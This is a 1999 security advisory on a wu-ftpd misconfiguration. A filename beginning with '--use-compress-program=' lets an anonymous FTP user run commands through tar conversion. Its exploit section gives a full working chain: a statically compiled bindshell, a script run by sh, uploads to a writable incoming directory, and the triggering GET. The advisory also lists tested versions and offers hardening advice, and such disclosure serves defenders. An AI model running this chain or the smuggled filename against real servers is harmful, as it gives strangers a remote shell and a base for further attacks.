suid@suid.edu - the dangers of ftp conversions on misconfigured systems/ftpd (specifically wu-ftpd)

Summary:

  There exists a vulnerability with certain configurations of certain ftp daemons with which users with a valid
  ftp only acccount on a system may execute arbitrary commands (including binaries supplied by themselves). There
  also exists the possibilty that anonymous ftp users may execute arbitrary commands (also including binaries
  supplied by themselves).

  While this vulnerability is entirely configuration dependent. The required configuration is rather common. The
  requirements can be found in the example exploit section. Usually such misconfigurations are made only by the
  security-handicapped, and the documentation-illiterate. There is volumous amounts of documentation around which
  warn against this kind of configuration however it does not touch on this exact problem. Nor does it stop them from
  making the same mistakes time after time.

Background:

  FTP Conversion is the name given to the process whereby a user can convert/archive/compress data on the fly 
  when retrieving files from a FTP server. This is done when the FTP user requests a filename and appends
  .tar/.tar.gz/.Z/.gz to the filename. The FTP then opens a pipe through the requested binary (/bin/tar for example) 
  and sends the file through this pipe to the user.

Vulnerability:

  If a user with intent crafts a filename beginning with a '-' sign it is possible to pass arbitrary flags to the
  command invoked by FTPD. If the user also includes spaces in this filename, they may pass further arguments. Modern
  tar implementations include some fairly interesting arguments. For the purposes of lftpdthis advisory I will only
  detail one. 
  
    From the tar(1) man page:

    --use-compress-program PROG
                filter the archive through PROG (which must accept -d)

  So it can be seen quite obviously that the flag:

    --use-compress-program=id

  will invoke the id command as a compression program for tar to filter through, obviously failing in the 
  process, but trying nonetheless.

  Using this mechanism it is possible to invoke any command in the path. It is also, as mentioned previously, possible
  to pass those commands further arguments.

Impact:
  The impacts of this bug are that any command within the path may be executed by users who may not have the ability to
  execute commands otherwise. If those commands can be coaxed into running other commands, a user may manage an
  interactive shell. Impacts may be restricted by the default behaviour of wu-ftpd to chroot() the anonymous ftp user. 
  However it is still possible for users to upload their own binaries and use your comprimised FTP server for something
  like:
    - launching attacks on your internal network which they may not have had the ability to do previously due to
      ACL's etc
    - launching denial of service attacks on other sites from your FTP server
    - taking part in distributed attacks, or distributed denial service attacks, using your comprimised FTP server

Tested On:

  It must be stated here that this vulnerability is quite cross platform in that it is possible for FTP site
  administrators running wu-ftpd on any operating system to have configured FTPD in this manner. However it is generally
  more prevalant on Linux installations.

  I have verified this vulnerability against the following configuration:
  
    RedHat (5.2, 6.0, 6.1)
    anonftp package version 2.8.1
    wu-ftpd (2.4.2, 2.5.0, 2.6.0) 

Exploit Information:

  This vulnerability is simple to exploit. However to exploit it you must be able to upload/download files. (e.g. a
  mode 0777 incoming directory). Pretty common right? 

  I am only going to document 1 method of exploiting this. There are many, I leave it as an excercise to the
  reader to take things further. 

  For the purposes of this exploit you also need a shell in the remote path. For example, a RedHat machine with the
  anonftp package installed has exactly what you need.

  Firstly, assuming you are running the same platform as your target, statically compile some sort of backdoor program,
  The easiest thing I can think of to use is bindshell.c. 

  $ gcc bindshell.c -o b -static
  
  Secondly, tar this up. You will need to tar it up because the remote side will rarely have the ability to change
  permissions at this stage. (SITE CHMOD rarely works on anonymous ftp sites)

  $ tar -cf b.tar b

  Create a script of things you want to do on the remote site, this will be interpreted by bash or sh.

  $ cat > blah
  # 
  /bin/tar -xf b.tar
  ./b
  ^D

  Leave the first line as a comment. 

  Create a empty file called "--use-compress-program=sh blah"

  $ > "--use-compress-program=sh blah"

  Connect to your target ftp server.

  $ ftp localhost
  Connected to localhost.
  220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready.
  Name (localhost:suid): ftp
  331 Guest login ok, send your complete e-mail address as password.
  Password:
  230 Guest login ok, access restrictions apply.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> 

  Change to your world writable directory:

  ftp> cd /incoming

  Store your files:

  ftp> put blah
  ftp> put b.tar
  ftp> put "--use-compress-program=sh blah"

  Now using TAR conversion, get your "--use-compress-program=sh blah" file.

  ftp> get "--use-compress-program=sh blah".tar

  It should open a connection then freeze. Now telnet to your bindshell port.  

Recommendations:

  WU-FTPD have taken the stance that because this vulnerability is more a configuration issue than anything else, they
  do not plan on releasing a patch. This is correct.

  You would be wise to evaluate the need for anonymous ftp on your server and remove the ability if possible.

  If you require anonymous ftp access, ensure there are no world writable directories, also ensure that the smallest
  amount of commands you can get away with exist in the ~ftp/bin directory.

  Disable ftp conversions in /etc/ftpacess

  Consult your documentation and follow the advice contained within. It is worth it.

  CERT and Auscert have released numerous papers, and advisories on these types of misconfigurations in the past
  read them!




  See my website for some more information:
  http://www.suid.edu/
  

Greetings:

  cr@rotten.com
  yowie@virus.beergrave.net
  duke@viper.net.au
  ncb@attrition.org

18th December, 1999